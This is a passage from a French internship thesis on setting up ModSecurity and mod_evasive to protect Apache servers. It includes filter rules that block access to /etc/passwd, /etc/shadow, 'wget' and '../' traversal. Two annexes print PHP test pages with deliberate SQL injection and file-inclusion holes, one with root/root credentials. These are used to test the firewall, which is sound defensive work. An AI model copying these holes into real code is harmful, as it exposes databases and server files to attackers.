ARGS:secret_file. [file "/usr/share/modsecurity-
crs/base_rules/modsecurity_crs_40_generic_attacks.conf"] [line
"181"] [id "950005"] [rev "2.2.5"] [msg "Remote File Access
Attempt"] [data "/etc/"] [severity "CRITICAL"] [tag
"WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag
"OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "41.188.7.190"]
[uri "/test.php"] [unique_id "UVg5838AAQEAABMbBAEAAAAE"]

84
III.2 Les perspectives d’améliorations

III.2.1 Mod_Proxy

Comme perspectives je propose d'adapter la solution WAF à un reverse proxy qui offre à la
fois un firewall applicatif, une interface intégrée pour lire directement les fichiers logs issus de
ModSecurity et une capacité de les représenter graphiquement d'une manière instantanée sans
avoir recours à une application indépendante. Cela va nous constituer un seul produit embarqué
puissant sans utiliser des solutions commerciales et payantes comme l’a été le reverse proxy
précédent. On utilise donc un module d’apache qui est mod_proxy pour que cela se fasse.

III.2.2 Mod_Evasive

III.2.2.1 Introduction
Je veux aussi proposer l'ajout d'autres modules visant à ajouter une protection au service
et qui est aussi inclut dans apache. C’est le module mod_evasive.

Mod_evasive est un module Apache pour contrer les attaques du type D.o.S. Celui-ci est
par exemple capable de détecter lorsqu'un utilisateur demande un trop grand nombre de pages
sur un site web, sur un délai de temps très court. Voici comment l'installer et le configurer pour
une utilisation basique.

III.2.2.2 Installation de Mod_evasive

Pour installer Mod_evasive sur une distribution à base de RPM, nous ouvrons un terminal
et lançons la commande suivante en tant qu’utilisateur root :

# yum install mod_evasive

III.2.2.3 Configuration basique de Mod_evasive

Toute la configuration de Mod_evasive se trouve dans le fichier
/etc/httpd/conf.d/mod_evasive.conf. Voici un exemple de configuration à utiliser :

<IfModule mod_evasive20.c>

DOSHashTableSize 3097

# Pas plus de 2 pages par seconde

85
 DOSPageCount 2

DOSPageInterval 1

# Pas plus de 150 requêtes par seconde (images, CSS...)

DOSSiteCount 150

DOSSiteInterval 1

# Période en seconde pendant laquelle on bloque le client

DOSBlockingPeriod 10

# Dossier contenant les IP blacklistes

DOSLogDir "/var/lock/mod_evasive"

</IfModule>

On met ensuite en place le dossier qui va stocker les adresses IP blacklistées :

# mkdir -p /var/lock/mod_evasive

# chown -R apache:apache /var/lock/mod_evasive

Et on relance le serveur Apache pour prendre en compte les modifications, avec cette
commande pour une distribution à base de RPM :

# /etc/init.d/httpd restart

Pour tester le module, il faut mettre des valeurs assez faibles et regarder ce qui se passe.
Normalement, toutes les images de nos sites ne s'afficheront pas et le dossier
/var/lock/mod_evasive devrait se remplir.

Pour finir, on peut mettre en place la crontab suivante pour purger le dossier de blacklist
de temps en temps :

# Menage mod_evasive

00 5 * * * find /var/lock/mod_evasive -mtime +1 -type f -exec rm -

f '{}' \;

86
 CONCLUSION

Le présent document reflète le travail que j'ai dû réaliser au cours de ma période de stage
de fin d'études effectué au sein du Groupe TELMA qui est une société qui œuvre principalement
dans la vulgarisation des Technologies de l’Information et de la Communication dans la vie
quotidienne de la population malgache.

Tout au long de ce stage, j'ai pu approfondir aussi mes connaissances technologiques,

principalement au niveau du mode de fonctionnement des Web Application Firewalls, de
l’administration linux avec la distribution « CentOS ». J’ai donc pu constater que la sécurisation, en
vue de la mondialisation et de la globalisation, est devenu une nécessite au sein des fournisseurs
d’accès internet afin qu’il puisse assurer la fiabilité de leurs services. Et comme nous l’avons vu, un
bon pourcentage des attaques émane des applications web utilisées par les entreprises, alors que
99,9% des outils de production des grandes entreprises sont des applications web centralisées
pour éviter le mouvement de collecte de données.

Dans le domaine professionnel, j’ai pu découvrir et participer aux différentes tâches que
mes collègues au sein de l’équipe ISP ont bien voulu m’attribuer.

Ainsi, mon savoir-faire et mon esprit d'analyse ont été fortement sollicités, ce qui m'a
permis de les améliorer au cours de ce stage. Spécialement une intégration totale ainsi qu'un
esprit de communication m'ont été indispensables surtout avec la présence de mon encadreur
professionnel Monsieur RALEVAZAHA Nirina Emy que je remercie profondément d’ailleurs, pour
ses différents conseils et directives ainsi mon encadreur pédagogique Monsieur SIAKA pour son
soutien et ses retouches professionnelles sur mon travail.

87
 REFERENCES BIBLIOGRAPHIQUE

 « INTEGRATION.ptt » - Ressources Humaines - Groupe TELMA (2012).

 Référence : PREMIERE PARTIE : PRESENTATION -> II.PRESENTATION DU GROUPE TELMA -

p.27 à 36.

 « IronBee Open Source Web Application Firewall » - White Paper - Qualys Inc. (2011-
2012).

 Référence : DEUXIEME PARTIE: ETUDE THEORIQUE DU PROJET -> II. LES FIREWALLS
D’APPLICATIONS WEB (WAF) -> C. Les solutions de Firewall d’Applications Web -> 2. Les
Firewall application Web open source – p.49

DEUXIEME PARTIE: ETUDE THEORIQUE DU PROJET -> II. LES FIREWALLS

D’APPLICATIONS WEB (WAF) -> D. Comparaison des différentes solutions Web -> 2. Le
tableau de comparaison – p.51

 « ModSecurity as Universal Cross-platform Web Protection Tool » - Ryan Barnett & Greg
Wroblewski (2012).

 Référence: DEUXIEME PARTIE: ETUDE THEORIQUE DU PROJET -> II. LES FIREWALLS
D’APPLICATIONS WEB (WAF) -> C. Les solutions de Firewall d’Applications Web -> 2. Le
tableau de comparaison – p.51

TROISIEME PARTIE: ETUDE PRATIQUE DU PROJET -> I. IMPLEMENTATION DE

MODSECURITY -> A. Fiche technique de Modsecurity & B. Environnement du logiciel – p.55
à 59

 « Optimiser et sécuriser son trafic IP » - Edition EYROLLES - Francis IA & Olivier MENAGER
(2004).

 Référence : DEUXIEME PARTIE: ETUDE THEORIQUE DU PROJET -> I. NOTION ET

DEFINITION – p.37 à 42

 « OWASP Top 10 » - OWASP Foundation (2003-2010).

 Référence: DEUXIEME PARTIE: ETUDE THEORIQUE DU PROJET -> II. LES FIREWALLS
D’APPLICATIONS WEB (WAF) -> A. OWASP – p.43

Annexe 1 : Document sur OWASP – p.98

88
 « Web Application Firewalls (WAF) » - Forum CERT-IST - Sébastien GOIRIA (2009).

 Référence: DEUXIEME PARTIE: ETUDE THEORIQUE DU PROJET -> II. LES FIREWALLS
D’APPLICATIONS WEB (WAF) -> A. OWASP -> 2. Les risques répertoriés – p.44

TROISIEME PARTIE: ETUDE PRATIQUE DU PROJET -> III. TESTS ET PERSPECTIVE

D’AMELIORATION -> A. Les tests du firewall – p.72

89
 REFERENCES WEBOGRAPHIQUE

 https://fr.wikipedia.org/wiki/Liste_de_pare-feu

 Référence des pages 41 à 46

 http://ftp.traduc.org/doc-vf/HOWTO/telechargement/pdf/

 Référence des pages 55 à 59

 https://github.com/SpiderLabs/ModSecurity/downloads

 Référence de la page 63

 http://guardian.jumperz.net/index.html?i=003

 Référence de la page 47

 http://httpd.apache.org/docs/2.0/mod/mod_proxy.html

 Référence de la page 86

 http://linux-attitude.fr/post/utilisation-de-configure-make-make-install

 Référence de la page 63

 http://projects.webappsec.org/w/page/13246985/Web%20Application%20Firewall%20Eva
luation%20Criteria

 Référence des pages 50 à 51

 http://samsclass.info/124/proj11/p16-mod-security.html

 Référence des pages 63 et 74

 http://whitehat.williamlee.org/2011/05/apache2-modproxy-as-reverse-proxy-on.html

 Référence de la page 86

 http://www.aldeid.com/wiki/Modsecurity-apache/Tests

 Référence des pages 66 à 72

 http://www.akamai.fr/enfr/html/solutions/waf.html

 Référence des pages 55 à 59

90
 https://www.barracuda.com/products/webapplicationfirewall

 Référence des pages 45 à 46

 http://www.citrix.com/products/netscaler-application-firewall/overview.html

 Référence des pages 43 à 46

 http://www.cyberciti.biz/faq/rhel-fedora-centos-httpd-mod_security-configuration/

 Référence des pages 63 à 65

 http://www.cyberoam.com/webapplicationfirewall.html

 Référence de la page 45

 http://www.denyall.com/decideur/technologies/reverse-
proxy_fr?gclid=CLrXgtu2kLYCFQdc3godAh0A_g

 Référence de la page 86

 http://www.ebelair.fr/2011/06/07/installer-et-configurer-modsecurity/

 Référence des pages 63 à 70

 http://www.fortinet.com/products/fortiweb/index.html

 Référence de la page 45

 http://www.f5.com/glossary/web-application-firewall/

 Référence de la page 45

 http://www.grosseosterhues.com/2011/07/enabling-mod-security-protection-in-apache2-
on-ubuntu/

 Référence des pages 63 à 70

 http://www.imperva.com/products/wsc_web-application-firewall.html

 Référence des pages 45 à 46

 http://www.isalo.org/wiki.debian-fr/S%C3%A9curiser_Apache2

 Référence des pages 66 à 72

91
 http://www.linuxquestions.org/questions/linux-security-4/mod_security-with-crs-
adjustments-to-capture-php-post-sql-injection-attempts-821531/

 Référence des pages 65 et 70

 http://www.modsecurity.org/blog/archives/2007/02/weekly_sans_ris_1.html

 Référence de la page 76

 http://www.modsecurity.org/documentation/modsecurity-apache/2.1.3/html-
multipage/03-configuration-directives.html

 Référence de la page 119

 http://www.nbs-system.com/blog/modsecurity_howto.html

 Référence de la page 56

 http://www.ouah.org/chambet.html

 Référence de la page 38

 https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project
#tab=Installation

 Référence des pages 65 et 98

 https://www.owasp.org/index.php/ModSecurity_CRS_Rule_Description_Template

 Référence de la page 65

 https://www.projet-plume.org/fiche/modsecurity

 Référence de la page 55

 http://www.root25.com/2012/11/how-to-install-modsecurity-on-apache-ubuntu12-
stepbystep-tutorial.html

 Référence de la page 63

 http://www.riverbed.com/us/products/stingray/stingray_af.php

 Référence de la page 45

 http://www.serverschool.com/operating-systems/how-to-install-modsecurity-in-centos/

 Référence de la page 63

92
 http://www.sonicwall.com/us/en/products/SRA_Web_Application_Firewall.html

 Référence de la page 45

 http://www.symantec.com/connect/articles/web-security-appliance-apache-and-
modsecurity

 Référence de la page 63

 http://www.tecmint.com/protect-apache-using-mod_security-and-mod_evasive-on-rhel-
centos-fedora/

 Référence de la page 86

 https://www.trustwave.com/web-application-firewall/

 Référence de la page 45

93
 CAHIER DE CHARGES

1) Modalités

 Type de contrat : Stage de fin d’études

 Durée : six(06) mois

 Date de Début : 05 Octobre 2012 à 08h00

 Date de Fin : 12 Avril 2013 à 18h00

 Thème : « Mise en place d’une solution open source de Firewall d’application web »

2) Les tâches

Au cours de ce stage, j’ai été amené à travailler sur les points suivants:

 La définition d'un Web Application Firewall, son rôle, ses différentes fonctions et
applications, une étude et évaluation des principales solutions et des plates-formes WAF
(Open Source) disponibles sur le marché. La vérification de leur pertinence en ce qui
concerne la résistance aux attaques réseaux et la proposition d’une solution qui semble le
plus adéquat.
 La mise en place d’une maquette de test fonctionnelle tournant sous la distribution Linux
Ubuntu Server 12.04 accompagné de tests afin de simuler certaines attaques pour
démontrer l’efficacité réel du Firewall d’application web et enfin une étude de son
implémentation dans le système.

3) Organisation du projet

Début Fin
05 Oct 2012 16 Nov 2012 22 Fév. 2013 12 Avr 2013

94
L’organisation du projet se divise donc en trois parties :

 Phase d’étude

- Durée : Six(06) semaines

- Date : 08 Octobre 2012 au 16 Novembre 2012

- Encadrement : Monsieur RALEVAZAHA Nirina Emy

Cette étape introductive serait une phase pour déterminer l'ensemble des attaques WEB qui
peuvent menacer une application web et particulièrement se concentrer sur les différentes
espèces de vulnérabilités qui peuvent l’ altérer, avoir un premier contact avec la notion du Web
Application Firewall , déterminer son rôle et enfin les différentes applications disponibles avec leur
capacité respective.

 Phase de réalisation

- Durée : Dix(12) semaines

- Date : 19 Novembre 2012 au 22 Février 2013

- Encadrement : Monsieur RALEVAZAHA Nirina Emy

Je serais justement en charge de réaliser une matrice comparative entre les différentes
solutions open source disponibles, déterminer les caractéristiques de chacune, s'arrêter devant les
points forts ainsi devant les points faibles, et enfin choisir la ou les solutions convenables et qui
feront objet de test pendant la prochaine étape

J’aurai aussi comme mission de mettre en place la solution choisie, premièrement sur une
machine de test assez puissante pour voir et observer les fonctionnalités du Web Application
Firewall concerné et ensuite effectuer les tests pour mettre le Firewall à l’épreuve afin de prouver
l’efficacité de celui-ci avant son implantation dans l’infrastructure actuelle.

 Phase de finalisation

- Durée :Sept(07) semaines

- Date : 25 Février 2013 au 12 Avril 2013

- Encadrement : Monsieur RALEVAZAHA Nirina Emy

95
 Enfin dans cette dernière phase, je consacrerai mon temps dans la rédaction de ce présent
mémoire afin d’obtenir une bonne production, de préparer les différentes démonstrations et
PowerPoint pour la présentation du mémoire de fin d’étude. Et, enfin le suivi du bon
fonctionnement du Firewall applicatif web dans le système.

96
 GLOSSAIRE

 Apache : Apache est le serveur web le plus répandu sur Internet permettant à des clients
d'accéder à des pages web, c'est-à-dire en réalité des fichiers au format HTML à partir d'un
navigateur (aussi appelé browser) installé sur leur ordinateur distant. Il s'agit d'une
application fonctionnant à la base sur les systèmes d'exploitation de type Unix, mais il a
désormais été porté sur de nombreux systèmes, dont Microsoft Windows.

 BlueCoat : Un produit de la société WestCon Security, qui œuvre pour la sécurisation des
grandes entreprises dans une solution payante, offrant plusieurs fonctionnalités. Par exemple,
proxy, firewall…

 CentOS : « Community enterprise Operating System » est une distribution GNU/Linux

principalement destinée aux serveurs. Tous ses paquets, à l'exception du logo, sont des
paquets compilés à partir des sources de la distribution RHEL (Red Hat Enterprise Linux),
éditée par la société Red Hat. Elle est donc quasiment identique et se veut 100 % compatible
d'un point de vue binaire.

 Clamav : (« Clam AntiVirus »), est un logiciel antivirus pour UNIX. Il est généralement utilisé
avec les serveurs de courriels pour filtrer les courriers comportant des virus. Les virus ciblés
sont très majoritairement des virus s'attaquant au système d'exploitation Microsoft Windows
et non pas aux systèmes sur lesquels ClamAV s'installe, qui sont peu menacés par les virus.

 Crontab : crontab est le nom du programme sous Unix (et Linux) qui permet d'éditer des
tables de configuration du programme cron. Ces tables spécifient les tâches à exécuter et leur
horaire d'exécution avec possibilité d'horaire périodique. Par extension, on appelle souvent
cron (ou cron job en anglais) toute tâche lancée à horaire périodique.

 DHCP : (Dynamic Host Configuration Protocol) est un protocole réseau dont le rôle est
d’assurer la configuration automatique des paramètres IP d’une station, notamment en lui
affectant automatiquement une adresse IP et un masque de sous-réseau.

 DMZ : En informatique, une zone démilitarisée (ou de l'anglais demilitarized zone) est un
sous-réseau séparé du réseau local et isolé de celui-ci et d'Internet par un pare-feu. Ce sous-
réseau contient les machines étant susceptibles d'être accédées depuis Internet. Le pare-feu
bloquera donc les accès au réseau local pour garantir sa sécurité. Et les services susceptibles
d'être accédés depuis Internet seront situés en DMZ.

 DNS : Le Domain Name System (ou système de noms de domaine) est un service permettant
de traduire un nom de domaine en informations de plusieurs types qui y sont associées,
notamment en adresses IP de la machine portant ce nom.
97
 Firewall : (mot anglais) Un pare-feu est un logiciel et/ou un matériel, permettant de faire
respecter la politique de sécurité du réseau, celle-ci définissant quels sont les types de
communication autorisés sur ce réseau informatique. Il mesure la prévention des applications
et des paquets.

 FRAMEWORK : est un kit de composants logiciels structurels, qui sert à créer les fondations
ainsi que les grandes lignes de tout ou d'une partie d'un logiciel (architecture)

 Gartner : Gartner Inc., fondée en 1979, est une entreprise américaine de conseil et de
recherche dans le domaine des techniques avancées dont le siège social est situé à Stamford,
Connecticut. Elle mène des recherches, fournit des services de consultation, tient à jour
différentes statistiques et maintient un service de nouvelles spécialisées. Elle s'est notamment
penchée sur les conséquences économiques du bogue de l'an 2000.

 GNU : Un système d'exploitation libre lancé en 1984 par Richard Stallman et maintenu par le
projet GNU. Son nom est un acronyme récursif qui signifie en anglais « GNU's Not UNIX »
(littéralement, « GNU n'est pas UNIX »). Il reprend les concepts et le fonctionnement d'UNIX.

 IIS : « Internet Information Services » est le logiciel de serveur de services Web (ou FTP, SMTP,
HTTP etc.) de la plateforme Windows NT.

 IP : Une adresse IP (avec IP pour Internet Protocol) est un numéro d'identification qui est
attribué de façon permanente ou provisoire à chaque appareil connecté à un réseau
informatique utilisant l'Internet Protocol.

 LOG : le terme log est notamment employé en informatique pour désigner un historique
d'événements et par extension, le fichier contenant cet historique.

 PHP : Acronyme récursif de Hypertext Preprocessor est un langage de scripts libre

principalement utilisé pour produire des pages Web dynamiques via un serveur HTTP, mais
pouvant également fonctionner comme n'importe quel langage interprété de façon locale, en
exécutant les programmes en ligne de commande. PHP est un langage impératif disposant,
depuis la version 5, de fonctionnalités de modèle objet complètes. En raison de la richesse de
sa bibliothèque, on désigne parfois plus PHP comme une plate-forme, qu'un simple langage.

 Root : Le terme root (uniquement en minuscule, litt. « Racine ») est sur les systèmes
d'exploitation de type Unix le nom conventionnel de l'utilisateur qui possède toutes les
permissions sur le système, aussi bien en mode mono qu'en mode multi-utilisateur. Son
numéro identifiant (user ID ou uid) est 0, qui sont traité particulièrement par le noyau dans les
appels système.

 RPM : RPM Package Manager, ou plus simplement RPM, est un système de gestion de
paquets de logiciels utilisé sur certaines distributions GNU/Linux. Le système est composé

98
 d'un format ouvert et d'un logiciel libre de manipulation des fichiers de ce format. C'est le
format utilisé par Linux Standard Base (LSB).

 SSL : Un sigle qui signifie Secure Sockets Layer, un protocole de sécurisation des échanges sur
Internet, devenu Transport Layer Security (TLS) en 2001.

 SYSLOG-NG : Syslog-ng est une implémentation du protocole syslog pour les architectures de
type UNIX.

 TCP : Transmission Control Protocol (littéralement, « protocole de contrôle de transmissions

») abrégé TCP, est un protocole de transport fiable, en mode connecté, documenté dans la
RFC 793 de l'IETF.

 TLS : un protocole de sécurisation des échanges sur Internet, développé à l'origine par
Netscape (SSL version 2 et SSL version 3).

 UDP : L’User Datagram Protocol, (en français protocole de datagramme utilisateur) est un des
principaux protocoles de télécommunication utilisés par Internet.

 UNIX : Système d'exploitation multiutilisateur et multitâche mis au point en 1969 par Ken
Thompson et Dennis Ritchie, au sein des laboratoires Bell, entité possédée à l'époque par
AT&T et sa filiale Western Electric.

 WEB : Un système hypertexte public fonctionnant sur Internet qui permet de consulter, avec
un navigateur, des pages accessibles sur des sites.

99
 Annexe 1 : Document sur OWASP

1) Qu’est-ce que l’OWASP ?

L’OWASP est une organisation mondiale sans but lucratif qui se concentre à améliorer la
sécurité des logiciels. Notre mission est d’établir une sécurité visible pour les logiciels, de sorte
qu’autant les particuliers que les organisations internationales puissent prendre des décisions plus
éclairées au sujet des risques de sécurité des logiciels.

2) La vision pour OSWASP

Chacun est libre de participer à OWASP et tous les documents sont disponibles sous une
licence de logiciel libre et ouvert. Vous trouverez tout ce qui concerne l’OWASP et ses
informations actuelles, ici, lié à notre wiki ou sur notre blog OWASP.OWASP ne cautionne ni ne
recommande les produits ou services commerciaux, ce qui permet à notre communauté de rester
fournisseur neutre de la sagesse collective des meilleurs esprits de la sécurité des logiciels dans le
monde entier. Nous demandons à ce que la communauté regarde au-delà des utilisations
inappropriées de la marque OWASP, incluant l’utilisation du nom, du logo, des noms de projets et
les questions des autres marques.

Il y a des milliers d’utilisateurs du wiki à travers le monde qui passent en revue les
modifications apportées au site pour aider à assurer sa qualité. Si vous êtes nouveau, vous pouvez
consulter notre page de mise en route. En tant que groupe mondial de plus de 30 000 participants

100
volontaires, tous commentaires ou questions doivent être envoyées à l’une de nos nombreuses
listes de diffusion ou dirigés vers le comité mondial.

3) 2012 Security Blitz

OWASP est le démarrage d’une campagne-éclair de sécurité mensuel où nous

rassemblerons la communauté de sécurité autour d’un thème particulier. Le sujet peut être la
vulnérabilité de l’approche de conception défensive, de la technologie ou même de la
méthodologie. Tous les membres de la communauté de sécurité sont encouragés à écrire des
articles de blog, des articles, des outils de correction, des vidéos etc… dans l’esprit du sujet du
mois en cours. Notre but est de montrer une variété de points de vue sur le sujet à partir de
différents points de vue des constructeurs, des disjoncteurs et des défendeurs.

101
 Annexe 2 : Contenu du fichier de
configuration de ModSecurity

# -- Ruleengineinitialization ----------------------------------------------

# EnableModSecurity, attachingit to every transaction. Use detection

# only to startwith, becausethat minimises the chances of post-installation

# disruption.

SecRuleEngineOn

# -- Request body handling ---------------------------------------------------

# AllowModSecurity to accessrequest bodies. If youdon't, ModSecurity

# won'tbe able to seeany POST parameters, which opens a large security

# hole for attackers to exploit.

SecRequestBodyAccess On

# Enable XML request body parser.

# Initiate XML Processor in case of xml content-type

102
SecRuleREQUEST_HEADERS:Content-Type "text/xml" \

"id:'200000',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=XML"

# Maximum request body size wewillaccept for buffering. If you support

# fileuploadsthen the value given on the first line has to be as large

# as the largest file you are willing to accept. The second value refers

# to the size of data, with files excluded. You want to keepthat value as

# low as practical.

SecRequestBodyLimit 13107200

SecRequestBodyNoFilesLimit 131072

# Store up to 128 KB of request body data in memory. When the multipart

# parserreachersthislimit, itwillstartusingyour hard disk for

# storage. That is slow, but unavoidable.

SecRequestBodyInMemoryLimit 131072

# What to do if the request body size isaboveourconfiguredlimit.

# Keep in mindthatthis setting willautomaticallybe set to ProcessPartial

# whenSecRuleEngineis set to DetectionOnly mode in order to minimize

# disruptionswheninitiallydeployingModSecurity.

SecRequestBodyLimitActionReject

103
# Verifythatwe'vecorrectlyprocessed the request body.

# As a rule of thumb, whenfailing to process a request body

# youshouldreject the request (whendeployed in blocking mode)

# or log a high-severityalert (whendeployed in detection-only mode).

SecRule REQBODY_ERROR "!@eq 0" "id:'200001', phase:2,t:none,log,deny, \

status:400,msg:'Failed to parserequest
body.',logdata:'%{reqbody_error_msg}',severity:2"

# By default be strict withwhatweaccept in the multipart/form-data

# request body. If the rulebelowproves to betoo strict for your

# environmentconsiderchangingit to detection-only. You are encouraged

# _not_ to removeitaltogether.

SecRule MULTIPART_STRICT_ERROR "!@eq 0" \

"id:'200002',phase:2,t:none,log,deny,status:400, \

msg:'Multipartrequest body failed strict validation: \

PE %{REQBODY_PROCESSOR_ERROR}, \

BQ %{MULTIPART_BOUNDARY_QUOTED}, \

BW %{MULTIPART_BOUNDARY_WHITESPACE}, \

DB %{MULTIPART_DATA_BEFORE}, \

DA %{MULTIPART_DATA_AFTER}, \

HF %{MULTIPART_HEADER_FOLDING}, \

LF %{MULTIPART_LF_LINE}, \

SM %{MULTIPART_MISSING_SEMICOLON}, \

IQ %{MULTIPART_INVALID_QUOTING}, \

IP %{MULTIPART_INVALID_PART}, \

104
 IH %{MULTIPART_INVALID_HEADER_FOLDING}, \

FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'"

# Didweseeanythingthatmightbe a boundary?

SecRule MULTIPART_UNMATCHED_BOUNDARY "!@eq 0" "id:'200003',phase:2,t:none,log,deny, \

status:400,msg:'Multipart parserdetected a possible unmatchedboundary.'"

# PCRE Tuning

# Wewant to avoid a potentialRegExDoS condition

SecPcreMatchLimit 1000

SecPcreMatchLimitRecursion 1000

# Someinternalerrorswill set flags in TX and wewillneed to look for these.

# All of these are prefixedwith "MSC_". The following flags currentlyexist:

# MSC_PCRE_LIMITS_EXCEEDED: PCRE match limitswereexceeded.

SecRule TX:/^MSC_/ "!@streq 0" \

"id:'200004',phase:2,t:none,deny,msg:'ModSecurity internalerrorflagged:
%{MATCHED_VAR_NAME}'"

# -- Response body handling --------------------------------------------------

# AllowModSecurity to accessresponse bodies.

105
# You should have this directive enabled in order to identifyerrors

# and data leakage issues.

# Do keep in mindthatenablingthis directive doesincreasesboth

# memoryconsumption and responselatency.

SecResponseBodyAccess On

# Whichresponse MIME types do youwant to inspect? You shouldadjust the

# configurationbelow to catch documents but avoidstatic files

# (e.g., images and archives).

SecResponseBodyMimeTypetext/plain text/html text/xml

# Buffer response bodies of up to 512 KB in length.

SecResponseBodyLimit 524288

# Whathappenswhenweencounter a response body largerthan the configured

# limit? By default, weprocesswhatwe have and let the restthrough.

# That'ssomewhatlesssecure, but does not break anylegitimate pages.

SecResponseBodyLimitActionProcessPartial

# -- Filesystem configuration ------------------------------------------------

106
# The location whereModSecurity stores temporary files (for example, when

# itneeds to handle a fileuploadthatislargerthan the configuredlimit).

# This default setting ischosen due to all systems have /tmpavailablehowever,

# thisislessthanideal. It isrecommendedthatyouspecify a location that'sprivate.

SecTmpDir /tmp/

# The location whereModSecuritywillkeepits persistent data. This default setting

# ischosen due to all systems have /tmpavailablehowever, it

# tooshouldbeupdated to a placethatotheruserscan'taccess.

SecDataDir /tmp/

# -- File uploads handling configuration -------------------------------------

# The location whereModSecurity stores intercepteduploaded files. This

# location must beprivate to ModSecurity. You don'twantotherusers on

# the server to access the files, do you?

#SecUploadDir /opt/modsecurity/var/upload/

# By default, onlykeep the files thatweredetermined to beunusual

# insomeway (by an external inspection script). For this to workyou

# willalsoneedat least one file inspection rule.

107
#

#SecUploadKeepFilesRelevantOnly

# Uploaded files are by default createdwith permissions that do not allow

# anyother user to accessthem. You mayneed to relax that if youwant to

# interface ModSecurity to an external program (e.g., an anti-virus).

#SecUploadFileMode 0600

# -- Debug log configuration -------------------------------------------------

# The default debug log configuration is to duplicate the error, warning

# and notice messages from the error log.

#SecDebugLog /opt/modsecurity/var/log/debug.log

#SecDebugLogLevel 3

# -- Audit log configuration -------------------------------------------------

# Log the transactions that are marked by a rule, as well as thosethat

# trigger a server error (determined by a 5xx or 4xx, excluding 404,

# levelresponsestatus codes).

SecAuditEngineRelevantOnly

108
SecAuditLogRelevantStatus "^(?:5|4(?!04))"

# Log everythingwe know about a transaction.

SecAuditLogParts ABIJDEFHZ

# Use a single file for logging. This ismucheasier to look at, but

# assumes thatyouwill use the audit log onlyoccasionally.

SecAuditLogType Serial

SecAuditLog /var/log/modsec_audit.log

# Use concurrent logging

#SecAuditLogType Concurrent

#SecAuditLog "|/opt/modsecurity/bin/mlogc /opt/modsecurity/etc/mlogc.conf"

# Specify the path for concurrent audit logging.

#SecAuditLogStorageDir /opt/modsecurity/var/audit/

# -- Miscellaneous -----------------------------------------------------------

# Use the mostcommonlyused application/x-www-form-urlencodedparameter

# separator. There'sprobablyonly one application somewherethat uses

# somethingelsesodon'texpect to change this value.

SecArgumentSeparator&

109
# Settle on version 0 (zero) cookies, as thatiswhatmost applications

# use. Using an incorrect cookie version may open your installation to

# evasionattacks (against the rulesthat examine named cookies).

SecCookieFormat 0

# Specifyyour Unicode Code Point.

# This mappingisused by the t:urlDecodeUni transformation function

# toproperlymapencoded data to yourlanguage. Properly setting

# these directives helps to reduce false positives and negatives.

#SecUnicodeCodePage 20127

#SecUnicodeMapFileunicode.mapping

110
 Annexe 3 : Les règles de ModSecurity

Mod_security utilise des règles de filtrage formées d'expressions régulières afin d'analyser
les en-têtes, les variables d'environnement, les variables de serveur, les cookies utilisateur ou le
payload des méthodes POST.

 Les règles s'écrivent, d'une manière générale, à l'aide de la directive SecFilter. Celle-ci
permettra d'appliquer une règle à l'ensemble des informations envoyées par le
navigateur:

 SecFilter MOT_RECHERCHE

 Par exemple, la règle pour bloquer l'accès à l'URL « http://www.hsc.fr/tmp/essai.sh »

peut être la suivante:

 SecFilter /tmp/

 Bloquer l'accès au fichier passwd:

 SecFilter /etc/passwd

 Interdire la commande ls:

 SecFilter /bin/ls

 Provoquer une redirection:

 SecFilter /etc/passwd redirect:http://www.hsc.fr/mauvaise/requete.html

 Il est également possible de n'écrire des règles que pour certaines parties des requêtes
HTTP[21] (REMOTE_ADDR, QUERY_STRING, COOKIES_VALUES, etc...):

 SecFilterSelective QUERY_STRING MOT_RECHERCHE

111
 Les exemples suivants sont intéressants pour se faire une idée sur l'écriture des règles afin de
pouvoir les personnalisées:

 Accepter seulement les versions de protocole valides:

 SecFilterSelective SERVER_PROTOCOL !^HTTP/ (0\.9|1\.0|1\.1)$

 Permettre seulement les méthodes indispensables:

 SecFilterSelective REQUEST_METHOD !^(GET|HEAD|POST)$

 Interdire la méthode TRACE:

 SecFilterSelective REQUEST_METHOD "TRACE"

 Exiger HTTP_USER_AGENT et HTTP_HOST dans chaque requête:

 SecFilterSelective "HTTP_USER_AGENT|HTTP_HOST" "^$"

 Exiger une longueur exacte du corps du message pour chaque requête POST:

 SecFilterSelective REQUEST_METHOD ^POST$ chain

SecFilterSelectiveHTTP_Content-Length ^$

 Empêcher l'accès au fichier /etc/shadow:

 SecFilterSelective THE_REQUEST "/etc/shadow"

 Empêcher la commande /bin/ps:

 SecFilterSelective THE_REQUEST "/bin/ps"

 Empêcher une attaque transversale de répertoire:

 SecFilter "\.\./"

 Empêcher le téléchargement de fichiers avec wget:

 SecFilterSelective THE_REQUEST "wget "

 Bloquer le bot DTS Agent:

 SecFilterSelective HTTP_USER_AGENT "DTS Agent"

 Bloquer le proxy ouvert ayant comme adresse 12.148.163.152:

 SecFilterSelective REMOTE_ADDR 12\.148\.163\.152

112
 Annexe 4 : Code source de la page
« sql_inj.php »

<? php

if (isset($_GET['id'])) {

mysql_connect('localhost', 'root', 'root') or die ("Connectionfailed");

mysql_select_db('test') or die ('Database test not found');

$sql = "select id, username, passwordfrom test where id=".$_GET['id'];

$result = mysql_query($sql) or die("sqlerror in $sql");

echo '<table border="1">';

while($row = mysql_fetch_row($result)) {

echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td></tr>";

echo "</table>";

mysql_close();

} else {

echo "No user requested";

?>

113
 Annexe 5 : Code source de la page
« test.php »

<? php

$secret_file = $_GET ['secret_file'];

include( $secret_file);

?>

114
 Annexe 6 : Code source de la page
« Index.html » personnalisée

<html>

<body bgcolor="F0CC33">

<imgsrc="logo_telma.gif">

<font color="006600"><h1>Le serveur Apache fonctionne correctement!</h1></font>

<font color="000000"><p>This is the default web page for this server.</p>

<p>The web server software is running but no content has been added, yet.</p></font>

</body>

</html>

115
 RESUME

La gestion de la sécurité informatique au sein de n'importe quelle entreprise quelle que

soit sa taille est devenue indispensable et du même ordre que la gestion de son réseau propre à
elle.

Nous pouvons même affirmer que la gestion de sécurité est désormais un souci majeur et
quotidien de l’administrateur du réseau de l'entreprise et parmi les projets qui préoccupent un
gérant d'une telle société.

De nombreuses études publiques, comme celle de la communauté OWASP, nous révèlent

que la grande majorité des vulnérabilités sont d'ordres applicatifs. Aussi, ces vulnérabilités
proviennent le plus souvent du code spécifique des applications, plutôt que des « Framework»
utilisés pour les développer.

